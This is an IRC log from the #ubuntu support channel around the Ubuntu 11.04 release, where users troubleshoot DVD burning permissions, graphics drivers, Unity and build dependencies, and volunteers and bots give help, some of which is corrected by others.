[02:42] <bth1202> my graphic card is "ATI Radeon 5750" series. How can I solve this problem?
[02:42] <gonzalo> Hello, I am trying to install a program called ROOT. I did: ./configure and it says: libX11 MUST be installed. I ran the command: sudo apt-get install libx11-dev and it said it is already installed. What is wrong here? Thank you.
[02:43] <ddilinger> anyone familiar with configuring wireless through a console?  specifically i'm using wpa_cli, wpa_supplicant is running, but after adding a network to wpa_cli, setting the ssid, and setting the network passphrase, all i can get is 'pre-shared key may be invalid'.  Key is verified working from my phone
[02:43] <openbees> caio : i just some kind error msgs...nothing else
[02:43] <WindowNumOne> Everytime I go to burn a ISO on DVD it says in K3B "cdrecord has no permission to open this device"  I had same prob with other prog, other dvd, other brands everything.
[02:43] <openbees> caio : GOT*
[02:43] <Silentmyst> gonzalo: are you running 11.04 now?
[02:43] <calamari> WindowNumOne: you need to grant your user account permission
[02:43] <gonzalo> Silentmyst: Yes
[02:43] <Rehan> Chipzzz: hmm ok so i see a nvidia, uvesafb, vesafb, and video. Does that mean I'm using proprietary or default?
[02:43] <WindowNumOne> To burn a dvd
[02:43] <WindowNumOne> how do i do that
[02:43] <laterallink> gonzalo, it could be looking for a diffrent version of libx11, you're running the ./configure with sudo or under root correct?
[02:44] <Silentmyst> try switching to ubuntu classic at log in and try to play with your program
[02:44] <ErezCohen> No one about my problem :-(
[02:44] <WindowNumOne> calamari: I will love you forever plz tell me how
[02:44] <calamari> WindowNumOne: patience, I'm looking
[02:44] <gonzalo> laterallink: I was doing it without sudo, I'll try with sudo now
[02:44] <xangua> WindowNumOne: with brasero
[02:44] <Silentmyst> i know i've had a few problems with a few programs not liking the new unity system
[02:44] <WindowNumOne> It don't work with brasero either
[02:44] <bth1202> By the way, I've been trying to upgrade my ubuntu box from 10.10 to 11.04.
[02:44] <thauriswulfa> QUESTION:how to stop the ubuntuone-syncdaemon process, because i don't need that as i have poor internet connection and it eats like 25 mb of ram,
[02:45] <Chad__> How do I make rsync back up Truecrypt files incrementally. As of now, it rewrites the file completely.
[02:45] <KM0201> WindowNumOne: try gnomebaker, it's alwys burned ISO's just fine for me
[02:45] <caio> openbees : what msg??
[02:45] <WindowNumOne> I tried that prog, it gives error im not sure if it says anything about not having permission
[02:45] <xangua> thauriswulfa: uninstall ubuntu-one
[02:45] <bth1202> It still have problem during the job. What's the matter there?
[02:45] <litropy> is xorg.conf still here: etc/X11/xorg.conf ? Mine is empty ...
[02:45] <WindowNumOne> I tried that too KM0201
[02:45] <KM0201> WindowNumOne: if all those programs are failing, you have some other malfunction going on there
[02:45] <calamari> WindowNumOne: it's in your preferences or admin under users and groups
[02:45] <bth1202> The error message was " package downloading time is expired" .
[02:46] <Viking667> I seem to be having trouble with Unity a bit... I can't right-click on any of the panels on either of my monitors... as a result, I can't add indicators or remove them... nor can I figure out how to start them up.
[02:46] <Silentmyst> thauriswulfa: system settings > startup apps, just uncheck it and it won't load up any more
[02:46] <openbees> caio : ya i got login screen setting window ..but how can i change login theme using this window
[02:46] <calamari> WindowNumOne: there should be a cdrom group and you need to add your user to that group
[02:46] <WindowNumOne> I never had error until I updated to new ubuntu
[02:46] <Viking667> In addition to that, (another problem) how do I persuade Ubuntu One that I actually _have_ an internet connection even though it swears black and blue I don't?
[02:46] <bth1202> Is there any specific trouble in there, ubuntu mirrors?
[02:47] <HyperShock> Silentmyst: wow, seems to be no linux support for that mouse (directly). you might be on your own here unless someone else here is good at configuring mice with 6 buttons or more. anyone?
[02:47] <Chipzzz> Rehan: I don't have a machine with an nVidia card to check right now but I think you need the nouveau driver... here's the step-by-step from Ubuntu: https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[02:47] <gonzalo> laterallink: I tried "sudo ./configure" but it gives me the same message: "libX11 MUST be installed"
[02:47] <openbees> caio : ?????
[02:47] <ChapterNZ> Viking667: I'm having troubles with the indicators too! Sorry I can't help ya though..
[02:48] <Silentmyst> lol yea thats what i was thinking, its just not supported at all, btnx and sudo cat doesn't see it, dunno what to do /sigh
[02:48] <ChapterNZ> Anyone else having issues with pidgin not showing in the notification area after a dist-upgrade? (I've reinstalled pidgin-libnotify, whitelisted 'all' in gsettings.... any pointers anyone?
[02:48] <nawk> Jordan_U: that would mean grub legacy needs to know how to read the from the filesystem on (hdX, Y)
[02:48] <dijonyummy> whats the diff between installing a package with apt-get, aptitude, synaptic? which one will install icons in gnome besides ubuntu software center
[02:48] <calamari> dijonyummy: usually not much difference
[02:48] <xangua> ChapterNZ: it does show on the envelope
[02:48] <caio> openbees : Have one title called theme
[02:48] <Jordan_U> nawk: Yes.
[02:48] <calamari> dijonyummy: they might resolve dependencies differenly
[02:48] <caio> openbees : sorry
[02:48] <HyperShock> gonzalo: why are you trying to install a program called ROOT?
[02:48] <dijonyummy> i want to script installing all the packages i use, for stuff like example... 11.04
[02:48] <ChapterNZ> xangua: I've removed the icon
[02:49] <gizmobay> I had problems booting so I removed the nvidia drivers and I'm using Nouveau drivers but it only works in classic mode. Am I missing something? Glxgears works.
[02:49] <ChapterNZ> xangua: indicator-messages is the package i removed (I hate the little envelope)
[02:49] <gonzalo> HyperShock: I work in the Faculty of Physics of the Catholic University of Chile, and we work with data from the LHC particle accelerator. I need ROOT to process that data
[02:49] <gizmobay> 11.04 that is
[02:49] <HyperShock> gonzalo: regardless, you need to sudo apt-get install build-essentials if you plan do any sort of serious compiling and installing.
[02:49] <dijonyummy> i dont think apt-get installs icons
[02:50] <bth1202> Hello? is there anyone who can support me with the install problem on the newest computer?
[02:50] <gonzalo> HyperShock: ok, I'll install that
[02:50] <calamari> dijonyummy: to get a list of packages in some sort of installed or not fully uninstalled state, use dpkg -l
[02:50] <WindowNumOne> :calamari i'm sorry but I still dont really understand
[02:50] <mr-rich> Hello, is ANYBODY else having problems with dbus-deamon sucking up 30%+ cpu usage?
[02:50] <WindowNumOne> I was able to burn a cd ISO but when it comes to DVDS im screwed
[02:50] <calamari> WindowNumOne: sorry, I'm not running Gnome.. ask for help on how to get to the Users and Groups settings
[02:50] <caio> openbees : http://www.youtube.com/watch?v=7WXoU3O0vgs
[02:51] <litropy> Is it normal for xorg.conf to be empty?
[02:51] <WindowNumOne> Ok I was under user and groups
[02:51] <WindowNumOne> What was I supposed to do there
[02:51] <gonzalo> HyperShock: E: Unable to locate package build-essentials
[02:51] <calamari> WindowNumOne: then go to groups
[02:51] <HyperShock> gonzalo: lol, but ROOT has so many connations, like becoming "root" and the "root" directory and the "root" sector of the driver. Personally I think making a problem called "root" is asking for it.
[02:51] <bth1202> DVI-D recognition trouble during the first step of installing.
[02:51] <codex84> what are good themes
[02:51] <codex84> for ubuntu
[02:51] <codex84> ?
[02:51] <HyperShock> gonzalo: let me double check what they are calling it now
[02:51] <WindowNumOne> And select what under groups
[02:51] <calamari> WindowNumOne: you should have a cdrom group
[02:51] <caio> openbees : sorry, but not called theme, but local
[02:51] <xangua> lilstevie: yes
[02:51] <gonzalo> HyperShock: the official page of the ROOT software is at root.cern.ch
[02:51] <xangua> codex84: google gnome look
[02:52] <Viking667> hm. Seems that once I install the applet (the deb) and type in its name, then it appears on the panel...
[02:52] <litropy> xangua, was that "yes" meant for me?
[02:52] <caio> openbees : i do confusion =D
[02:52] <HyperShock> gonzalo: my bad, i added an 's'. do sudo apt-get install build-essential
[02:52] <frybye> hi - I installed startup-manager with ubuntu software center but it does not show up in the gui and dosen't work from the terminal either? Any tips?
[02:52] <calamari> WindowNumOne: is there a cdrom group?
[02:52] <Viking667> can't do diddle about the panel though to hide it. The closest I've got is when an app is fully fulscreened.
[02:52] <frybye> this startup-manager problem relates to natty
[02:52] <openbees> caio : i appriciate ur effort but the video was for ubuntu 9.10 .....
[02:52] <HyperShock> gonzalo: yep, just expressing my concerns over the name of the program
[02:52] <Artarian> LESSON OF THE DAY: Dont ever ever upgrade your ubuntu to 11.04
[02:53] <gonzalo> HyperShock: build-essential is already the newest version. (thanks for your help, by the way)
[02:53] <xangua> frybye: because there is no 'startup-manager' , there is 'startupmanager'
[02:53] <ChapterNZ> Viking667: can you define "type in its name"
[02:53] <Flannel> Artarian: Please stop that.
[02:53] <HyperShock> Artarian: lol, what makes you say that
[02:53] <calamari> HyperShock: he's trolling
[02:53] <WindowNumOne> yes, the cdrom group has my name checked there is not really any more options .. should I uncheck it and check  it again or something
[02:53] <Viking667> Artarian: actually, once I cured the two or three errors I did have, it was good to go.
[02:53] <caio> openbees : what your ubuntu??
[02:53] <HyperShock> calamari: is there no one to ban him?
[02:53] <HyperShock> !ban
[02:53] <ubottu> If you have been banned it is probably because you have not gone along with what is acceptable !behaviour. If you're not sure what acceptable !behaviour is please see !Etiquette and http://wiki.ubuntu.com/IRC/Guidelines - If you think the ban was a mistake, please join #ubuntu-ops
[02:53] <WindowNumOne> No Ban
[02:53] <HyperShock> !vote
[02:54] <Flannel> HyperShock: There is.
[02:54] <jbag> anyone able to offer troubleshooting advice on archive manager (file roller) in regard to CBR files, they open but cannot extract the internal files.  worked fine in 10.10
[02:54] <Viking667> ChapterNZ: ahh, sorry. Unity. Click on the startgear thing, huge window pops up with all the applications listed, and a searchbox at the top
[02:54] <Artarian> lol?
[02:54] <openbees> caio : changing gdm theme using login window is disabled by ubuntu team since 10.04 release....i am using 11.04 so wanna know if any new way to change gdm llogin screen
[02:54] <calamari> WindowNumOne: then that is fine the way it is, don't change it
[02:54] <calamari> WindowNumOne: is there a dvd group or cdrw or something liek that?
[02:54] <ChapterNZ> Viking667: Ahhh right! And after you do that it "sometimes" shows the icon in the indicator ?
[02:55] <Viking667> "sometimes"?
[02:55] <dijonyummy> where is the config for the gnome panel layout stored?  i want to copy it from 10.10 to 11.04 gnome, after running a script to install all my apps
[02:55] <WindowNumOne> Shoot Calamari can I use a live cd to boot up then accesss my files and try burning a cd like that
[02:55] <ChapterNZ> Viking667: all the time?
[02:55] <WindowNumOne> oh yeah I will need my cd in it .lol
[02:55] <gonzalo> HyperShock: Is there any way to make the configure file recognize my libX11 package?
[02:55] <calamari> WindowNumOne: doubt it unless you hgave more than one cd drive
[02:55] <ChapterNZ> Viking667: (unfortunately never for me haha)
[02:55] <Viking667> hang on. I'll log out, log in - then I'll see if the indicators load THEN.
[02:55] <WindowNumOne> Wait I think I do have extra cdrom
[02:55] <fisix> why does the network manager applet not have the up/down arrows for a direct connection in natty?
[02:55] <caio> openbees : sorry
[02:55] <WindowNumOne> No CDR or DVD group
[02:55] <Viking667> sorry - won't exactly cure the Ubuntu One program's problam.
[02:55] <Viking667> lem
[02:55] <openbees> caio : it was so simple to change gdm in 9.10 ....its out of my imagination that way developers disabled this features
[02:56] <ChapterNZ> Anyone else having issues with pidgin not showing in the notification area after a dist-upgrade? (I've reinstalled pidgin-libnotify, whitelisted 'all' in gsettings.... any pointers anyone?
[02:56] <nawk> Jordan_U: that way, once grub legacy verifies that the stage files exists on 'Y', then it can identify the real location of where on the disk to read after it finish reading the first 440 bytes of the mbr.
[02:56] <isarl> Dear #ubuntu, after running the nvidia installation script from the commandline and restarting my system, Additional Drivers informs me that nvidia_current is "activated but not currently in use."  how2fix plz
[02:56] <openbees> caio : no dear its ok ..no need for sorry...we all hear for something to learn...and u got a lesson too
[02:57] <Chad__> Help with rsync and Truecryot files?
[02:57] <Jordan_U> nawk: If it's not using an embedded area, yes.
[02:57] <caio> openbees : tanks!
[02:57] <openbees> caio: u welcome !
[02:57] <fisix> why does the network manager applet not have the up/down arrows for a direct connection in natty?
[02:58] <frybye> xangua - somtimes called one - somtimes the other - hang on pse..
[02:58] <Viking667> eeek.
[02:58] <calamari> WindowNumOne: you were wanting to use k3b, right?
[02:58] <mister_m> isarl, I see the same message in the additional drivers under the system menu
[02:58] <WindowNumOne> Calamari Coudl I add a DVD group or do I need Drivers or something
[02:58] <openbees> anyone hear ...have any idea how to chane gdm login theme in ubuntu 11.04
[02:58] <openbees> change*
[02:58] <isarl> mister_m: so any ideas how to fix it?
[02:58] <HyperShock> gonzalo: what version of ubu are you on?
[02:58] <Viking667> the weather applet didn't appear, and neither did the other applets I installed packages for...
[02:58] <mister_m> isarl, none - but you aren't the only one
[02:58] <isarl> mister_m: thanks anyway.
[02:59] <Viking667> s/applet/indicator/
[02:59] <HyperShock> gonzalo: PM me
[02:59] <gonzalo> HyperShock: 11.04
[02:59] <mister_m> isarl, I was going to try removing it, and adding it again
[02:59] <calamari> WindowNumOne: actually, wait a sec.. I have an idea
[02:59] <CheBuzz_> I am trying to install 11.04 on my Asus G51J laptop.  There are definitely some problems.  The splash screen shows, but afterward my screen is only showing black and white bars.  Anybody know what is going on or how to work around this?
[02:59] <WindowNumOne> Calamari I am using anything and everything, I think I have every burning program, but I usually try KB3 or basero
[02:59] <KM0201> fisix: the icon for network manager/applet, is set by the theme.
[02:59] <gonzalo> HyperShock: How do I PM you?
[02:59] <caio> openbees : have you installed ubuntu-tweak ?
[02:59] <calamari> WindowNumOne: do you know the name of your cd device.. like /dev/...  ?
[02:59] <WindowNumOne> Can you add DVD to the "admin and group" it ask for a number when I press add
[03:00] <calamari> WindowNumOne: don't add that
[03:00] <openbees> caio : i dont want to just change background wallpaper of my login screen.....
[03:00] <frybye> xangua: got it - thanks...
[03:00] <openbees> caio : i already have
[03:00] <thejonb> i just bought a 6 button mouse with tilt and i can't get the buttons on the side of the mouse or the tilt to work at all. how do i activate those buttons?
[03:00] <ddilinger> anyone familiar with configuring wireless through a console?  specifically i'm using wpa_cli, wpa_supplicant is running, but after adding a network to wpa_cli, setting the ssid, and setting the network passphrase, all i can get is 'pre-shared key may be invalid'.  Key is verified working from my phone
[03:00] <WindowNumOne> the cd is under burn:///
[03:01] <isarl> hooray, another kernel panic. =/
[03:01] <calamari> WindowNumOne: okay that's not right but I'm going to take a guess.. open a console and type ls /dev/sg*
[03:01] <Viking667> I'll forget about the indicators, but I really want Ubuntu One working, so I can evaluate the silly thing properly...
[03:01] <CheBuzz_> I am trying to install 11.04 on my Asus G51J laptop.  There are definitely some problems.  The splash screen shows, but afterward my screen is only showing black and white bars.  Anybody know what is going on or how to work around this?  Looks like it may be a driver issue with the nVidia GTS 360M card.
[03:01] <Viking667> Don't tell me I have to have the NetworkManager installed???
[03:02] <WindowNumOne>  Calamari Permission Denied
[03:02] <fisix> KM0201, sure, but it should change to the up/down arrow when i have an ethernet connection no?
[03:02] <openbees> i am totaly messed with ubuntu 11.04 ....and totaly unsatisfied ....while friends of mine enjoying gnome3 with there fedora and opensuse...i am just getting bugs and problems with unity
[03:02] <calamari> WindowNumOne: sudo ls /dev/sg*
[03:03] <KM0201> fisix: again, it all depends on the theme...
[03:03] <WindowNumOne>  /dev/sg* = permission denied
[03:03] <WindowNumOne> ok lemme try
[03:03] <KM0201> fisix: what is it now, unplugged ethernet cable?
[03:03] <calamari> whattt
[03:03] <calamari> WindowNumOne: you typed the original command wrong
[03:03] <calamari> WindowNumOne: it should be "ls /dev/sg*" ... no quotes
[03:03] <joeyeye> openbees, and you expected what ? It's a beta - it has defects...
[03:04] <Jordan_U> joeyeye: 11.04 has been released.
[03:04] <Omega> Viking667: Ubuntu comes preinstalled with NetworkManager
[03:04] <WindowNumOne> Calameri this is what came back
[03:04] <fisix> KM0201, now it's the empty wireless wave
[03:05] <WindowNumOne> /dev/sg0  /dev/sg1
[03:05] <joeyeye> Jordan_U, because it's released doesn't make it good. It was beta last week ... it's still the same
[03:05] <KM0201> fisix: dunno man, does changing your theme change it?
[03:05] <thejonb> how can i get ubuntu 10.10 to recognize the buttons on the side of my mouse?
[03:05] <Jordan_U> joeyeye: Howerver you may feel about its stability it is none the less no longer in beta.
[03:06] <KM0201> !mosue | thejonb
[03:06] <openbees> joeyeye:  its  a stable release .....thats why i upgrades from my 10.04 lts ...and now only i am getting is error with everything
[03:06] <KM0201> !mouse | thejonb oops
[03:06] <ubottu> thejonb oops: Enabling extra mouse buttons: https://help.ubuntu.com/community/ManyButtonsMouseHowto  - Enabling serial mouse: https://help.ubuntu.com/community/SerialMouseHowto
[03:06] <calamari> openbees: okay put in a cd that already has data on it and browse it .. then go to the console and type "mount" (no quotes). tell me if you see /dev/sg0 or /dev/sg1 in the list
[03:06] <fisix> KM0201, how do i change my theme..
[03:06] <WindowNumOne> calamarij /dev/sg0  /dev/sg1
[03:06] <calamari> openbees: sorry typo
[03:06] <calamari> openbees: wrong person
[03:06] <joeyeye> openbees, so it's a stable unstable release
[03:06] <calamari> WindowNumOne:  okay put in a cd that already has data on it and browse it .. then go to the console and type "mount" (no quotes). tell me if you see /dev/sg0 or /dev/sg1 in the list
[03:06] <MoleMan> can anybody help me with phpMyAdmin and MySQL in Ubuntu 10.10 server?
[03:06] <KM0201> fisix: probably in your system settings, i'm not using gnome/unity anymore.. so i'm not 100% sure
[03:06] <caio> good night for all =D
[03:07] <fisix> KM0201, are you on kde?
[03:07] <WindowNumOne> is a dvd ok
[03:07] <KM0201> fisix: negative.. lxde
[03:07] <calamari> WindowNumOne: yes
[03:07] <wobblyonions> crap just upgraded to new Ubunut and the desktop is shit how do I get back to the old layout
[03:07] <openbees> joeyeye: may u have more knowledge than me ....but i said what i felt .....its seems like broken dreams....
[03:08] <IdleOne> !classic | wobblyonions
[03:08] <ubottu> wobblyonions: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[03:08] <IdleOne> wobblyonions: please mind your language
[03:08] <wobblyonions> ah great thanks
[03:08] <wobblyonions> this one is gay
[03:08] <foodstamp> lol
[03:08] <wobblyonions> :-) sorry
[03:08] <Flannel> wobblyonions: Please don't use that term pejoratively.
[03:08] <fisix> KM0201, how would i go about switching to lxde or something else?
[03:08] <MoleMan> anybody help me with ubuntu server?
[03:09] <calamari> wobblyonions: kerep in mind that shuttleworth had some fight with gnome devs and so next ubuntu won't have gnome at all
[03:09] <KM0201> fisix: you can install those GUI's from the repositories
[03:09] <joeyeye> openbees, agree. In general the OS is fine, the Unity UI is not ready for prime time. Stick with the "classic" as a desktop UI.
[03:09] <Jordan_U> calamari: That's not even close to true.
[03:09] <Waycloud> Hello?
[03:09] <WindowNumOne> shoot calamari is there a paste bin site
[03:10] <wobblyonions> thanks guys much better now  :-)
[03:10] <Jordan_U> Waycloud: Hi. Welcome to #ubuntu :)
[03:10] <WindowNumOne> thats free u dont have to sgin up
[03:10] <fisix> KM0201, is it just me or is the lxde site down
[03:10] <richuk> calamari, you know 11.04 is due to have Gnome3 rite??
[03:10] <richuk> 11.10 lol
[03:10] <karthick87> How to make natty boot in verbose mode?
[03:10] <KM0201> fisix: lxde.org is    but lubuntu.org   is not
[03:10] <KM0201> or at least i don't think it is
[03:11] <calamari> Jordan_U: true: In April 2011 Mark Shuttleworth announced that Ubuntu 11.10 Oneiric Ocelot would not include the classic GNOME desktop as a fall back to Unity, unlike Ubuntu 11.04 Natty Narwhal.
[03:11] <openbees> joeyeye : thanks but i am using classic since very next hour of 11.04 installation lolz
[03:11] <Omega> calamari: classic GNOME desktop == gnome-panel
[03:11] <Omega> calamari: We're still a GNOME distribution
[03:11] <Jordan_U> calamari: Because GNOME has moved on to Gnome Shell, not because of any argument.
[03:11] <KM0201> calamari: i thought it was gonna have unity-2d as a fallback.. .there needs to be some sort of fall back, to many peope having probs booting 3D
[03:11] <calamari> WindowNumOne: just look in the list and find the info, no need to paste it
[03:12] <Omega> calamari: We use GNOME rechnologies, GTK applications
[03:12] <richuk> that doesnt mean its not gona have Gnome3 tho calamari
[03:12] <IdleOne> KM0201: there is. see /msg ubottu !classic
[03:12] <KM0201> IdleOne: thanks.
[03:12] <Jordan_U> calamari: GNOME no longer supports the "classic" desktop, and neither will Ubuntu (unless an upstream appears). Ubuntu 11.10 will let you use GNOME shell or unity.
[03:12] <KM0201> IdleOne: i was actually referring to 11.10 though
[03:12] <frybye> wtf is this #ubuntu-unregged ?? I am registered.. this "channel" opens just as the identify process is being done..?
[03:13] <MalMen> hello, my ati driver is not working on ubuntu 11.04.. anyone can help me please ?
[03:13] <IdleOne> KM0201: 11.10 is 6 months away and off topic for this channel
[03:13] <KM0201> IdleOne: i was just saying what i read
[03:13] <Steela> Calamai 190-134-154-254.dialup.adsl.anteldata.net.uy) has joined #ubuntu
[03:13] <Steela> * cached has quit (Ping timeout: 240 seconds)
[03:13] <Steela> <MalMen> hello, my ati driver is not working on ubuntu 11.04.. anyone can help me please ?
[03:13] <Steela> <IdleOne> KM0201: 11.10 is 6 months away and off topic for this channel
[03:13] <Steela> <KM0201> IdleOne: i was just saying what i read
[03:13] <FloodBot2> Steela: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[03:13] <Jordan_U> frybye: Configure your client to send your nickserv password as a server password.
[03:13] <dijonyummy> man that sucks, unity (and gnome 3) seem so restricting
[03:13] <Steela> wait one sec
[03:13] <thauriswulfa1> The Purple 8 Ball says:  Ask again later
[03:13] <Omega> !paste Steela
[03:13] <Steela> I didnt copy that
[03:13] <KM0201> lol
[03:13] <Omega> !paste | Steela
[03:13] <ubottu> Steela: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[03:14] <Viking667> Ubuntu One. Who the heck knows something about that? I badly want it to use the network I've got, and not play silly beggars telling me it can't find one... when I'm typing IRC on it.
[03:14] <Viking667> (the network, that is)
[03:14] <frybye> Jordan_U: this was never a problem untill 5 mins ago...?
[03:14] <calamari> thanks for correcting me.. I am glad to hear that I am wrong about Gnome in 11.10
[03:14] <Omega> Steela: I think you highlighted it and middle clicked, that happens to me too sometimes.
[03:14] <frybye> Jordan_U: and with konversation how do i do this change?
[03:14] <Jordan_U> frybye: Race conditions are by their nature not always reproduceable.
[03:15] <Omega> calamari: We're here to help :)
[03:15] <Steela> Calamari   http://pastebin.com/hppW8wcE
[03:15] <MoleMan> I am stuck installing phpMyAdmin can somebody help me, or redirect me to somewhere more suitable please?
[03:15] <Jordan_U> frybye: I don't know, I don't use konversation.
[03:15] <karthick87> How to make natty boot in verbose mode?
[03:16] <calamari> Steela: are you the same and that WindowNumOne guy?
[03:16] <litropy> So, wonder what kind of banter is about in #ubuntu+1
[03:16] <Steela> oh yeah yes
[03:16] <calamari> Steela: I don't see a mounted cd or dvd in that list
[03:17] <Steela> I wonder why does it matter what type of cd or dvd it may of been blank
[03:17] <brous-kee> karthick87, on the grub options  remove  quiet
[03:17] <cloud9> any one can help me installing google earth package
[03:17] <Omega> litropy: No one is saying anything there :)
[03:17] <KM0201> cloud9: just download the .deb, double click and install?
[03:17] <calamari> Steela: all I wanted to know was the name of your cd device .. it is probably /dev/sg0 .. lets just guess
[03:17] <IdleOne> cloud9: sudo apt-get install googleearth-package
[03:17] <Steela> I dunno!
[03:17] <karthick87> brous-kee: Changing option GRUB_CMDLINE_LINUX_DEFAULT="splash quiet to GRUB_CMDLINE_LINUX_DEFAULT="" in /etc/default/grub doesn't effect in natty.
[03:17] <litropy> Omega, yeah, that's what you _want_ us to think :P j/k
[03:18] <KM0201> is google earth in the repos now?
[03:18] <KM0201> !info googleearth
[03:18] <ubottu> Package googleearth does not exist in natty
[03:18] <calamari> Steela: pastebin this: ls -l /dev/sg* /dev/sr*
[03:18] <KM0201> !info googleearth-package
[03:18] <ubottu> googleearth-package (source: googleearth-package): utility to automatically build a Debian package of Google Earth. In component multiverse, is optional. Version 0.6.1 (natty), package size 9 kB, installed size 68 kB
[03:18] <IdleOne> !info googleearth-package
[03:18] <brous-kee> karthick87, on the grub options  remove  quiet -- did you try this yet?
[03:18] <litropy> !info xorg-edit
[03:18] <ubottu> Package xorg-edit does not exist in natty
[03:18] <KM0201> hmm, didn't know that
[03:18] <litropy> !flash
[03:18] <ubottu> To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - See also  !Restricted and !Gnash
[03:18] <MK``> Can I resize a partition with the disk utility or do I have to use something like gparted?
[03:19] <karthick87> brous-kee: will try that
[03:19] <brous-kee> MK``, if it has data you would want to use gparted
[03:19] <MK``> ok thanks
[03:19] <litropy> !What to do when  youtube is smooth and hulu is choppy
[03:19] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[03:19] <wdbl> i have a fairly fresh install of 10.04 and I am getting permission-denied trying to mkdir /usr/local/src/xyz Isn't this where you're supposed to keep source code?
[03:19] <litropy> !Upgrade to AI
[03:19] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[03:20] <KM0201> litropy: stop
[03:20] <litropy> KM0201, Yes, sir
[03:20] <Steela> Here it is :  http://pastebin.com/CNL8VRxz
[03:20] <KM0201> litropy: you can /msg ubottu something here... and he'll PM you all the factoids you want (if you want to just ask it various questions)
[03:21] <litropy> KM0201, thanks!
[03:22] <Guest94632> just received the new update and now I have no wireless networking... I have the third party bcm43xx drivers installed but I do not remember what to type to bring up the wireless networking... thought it was something like ifconfig wlan0 up...but not sure
[03:22] <calamari> Steela: that looks good then. and you said you were already in the cdrom group.. well I don't know at this point. I can get you working in a "wrong waqy" if you just want to burn
[03:22] <Jordan_U> karthick87: Did you run "sudo update-grub" after making changes to /etc/default/grub ?
[03:22] <calamari> Steela: if you run "sudo k3b" you should probably be able to burn
[03:22] <litropy> Guest94632, check out iwconfig as well
[03:22] <karthick87> Jordan_U: Yes
[03:23] <Steela> thats when I put in a CD look what happens when I type mount after putting in DVD
[03:23] <KM0201> calamari: i can't imagine a situation where any burning utility, would need sudo.
[03:23] <Jordan_U> karthick87: Can you pastebin your /etc/default/grub and your /boot/grub/grub.cfg?
[03:23] <litropy> Guest94632, also make sure the card is enabled in BIOS
[03:23] <jhay> Anyone else experiencing the Applications menu freezing up every once in a while?
[03:23] <Jordan_U> !gksudo | calamari
[03:23] <ubottu> calamari: If you need to run graphical applications as root, use « gksudo », as it will set up the environment more appropriately. Never just use "sudo"! (See http://psychocats.net/ubuntu/graphicalsudo to know why)
[03:23] <calamari> KM0201: it told him permission denied.. I used to get that all the time until I got my permissions sorted out
[03:23] <karthick87> Jordan_U: Sure wait a min
[03:24] <calamari> KM0201: but if he just needs to burn something he can use sudo and get it done
[03:24] <litropy> Guest94632, Network Manager should do the rest.
[03:24] <KM0201> calamari: hmm, thats strange.. i've never had to use sudo w/ a burning utility.. sounsd like he's got more issues than not being able to burn something unless he's root
[03:24] <Guest94632> litropy, it is enabled in the bios... the only change that I made to the system was to upgrade to 11.04... from 10.
[03:24] <calamari> KM0201: it's not the right solution, but i can get him going in a crunch
[03:25] <Guest17770> Man I thought ubuntu was light weight. It runs really slow compared to win 7
[03:25] <litropy> Guest94632, ifconfig to find your card; ifconfig [card] up
[03:25] <Steela> Calamari http://pastebin.com/ixwprTBh
[03:25] <calamari> KM0201: I'm pretty sure you need to be able to access the /dev/sr0 (etc) device in order to burn.. and the permissions are root.cdrom.. so either root or in the cdrom group
[03:25] <Guest94632> this is on my laptop and the wireless is not coming up when I press the button
[03:25] <Guest94632> ok
[03:25] <Guest94632> i will try that
[03:26] <litropy> Guest94632, but it sounds like there's something going on with that driver, because it should bring itself up automatically
[03:26] <Steela> what is sudo K3b going to do
[03:26] <calamari> Steela: did "sudo k3b" work to burn your cd?
[03:26] <Steela> I already tried to burn over a thousand times using k3b!
[03:26] <calamari> Steela: it'll run it as root
[03:26] <Jordan_U> calamari: Please stop suggesting the use of sudo with graphical programs.
[03:26] <MoleMan> is there a command for search?
[03:26] <Guest94632> litropy, i guess i could uninstall and reinstall...
[03:26] <Jordan_U> !gksudo | calamari
[03:27] <Guest94632> [the driver]
[03:27] <Steela> Ok lets see this
[03:27] <calamari> Jordan_U: if you wnt to take over and help him, go ahead
[03:27] <calamari> Jordan_U: there is nothing wrong with using sudo to run a program
[03:27] <isarl> Hi all, although Alternative Drivers says my nvidia-current is "activated but not currently in use", glxinfo and glxgears seem to suggest that it actually is.  My problem: "Detect monitors" is not showing my second monitor.
[03:27] <litropy> Guest94632, yeah, that's an option.
[03:27] <KM0201> calamari: actually...
[03:28] <Jordan_U> calamari: Read the link from ubottu. It could lead to Steela no longer being able to log in.
[03:28] <calamari> Jordan_U: and I haven't kept up on the grpahical sudo of the week
[03:28] <Jordan_U> Steela: Do *not* run "sudo k3b".
[03:28] <Steela> *americans, president obama on tv to talk it supposed to be a national security issues*
[03:28] <calamari> okay well I don't want to get banned for helping so sorry Steela you're on your own
[03:28] <litropy> Does anyone _not_ have problems playing hulu?
[03:28] <Jordan_U> !ot | Steela
[03:28] <ubottu> Steela: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[03:28] <calamari> Jordan will help you
[03:29] <wdbl> does anyone know why you don't have permissions to /usr/local/src by default? where do you keep your code?
[03:29] <Hoyt> hi , where can i download hard drive boot needed vmlinuz and initrd.gz ? i just forgot about the url
[03:29] <litropy> Jordan_U, why is sudo k3b a bad idea?
[03:29] <isarl> #ubuntu, why is my second monitor not getting detected?
[03:29] <Jordan_U> !gksudo | litropy
[03:29] <ubottu> litropy: If you need to run graphical applications as root, use « gksudo », as it will set up the environment more appropriately. Never just use "sudo"! (See http://psychocats.net/ubuntu/graphicalsudo to know why)
[03:30] <litropy> (not that I don't think it is)
[03:30] <calamari> btw your ubtu command never sent me any kind of link
[03:30] <ChapterNZ> Anyone else having issues with pidgin not showing in the notification area after a dist-upgrade? (I've reinstalled pidgin-libnotify, whitelisted 'all' in gsettings.... any pointers anyone?
[03:30] <KM0201> !gksudo | calamari
[03:30] <ubottu> calamari: If you need to run graphical applications as root, use « gksudo », as it will set up the environment more appropriately. Never just use "sudo"! (See http://psychocats.net/ubuntu/graphicalsudo to know why)
[03:30] <litropy> Jordan_U, thanks.
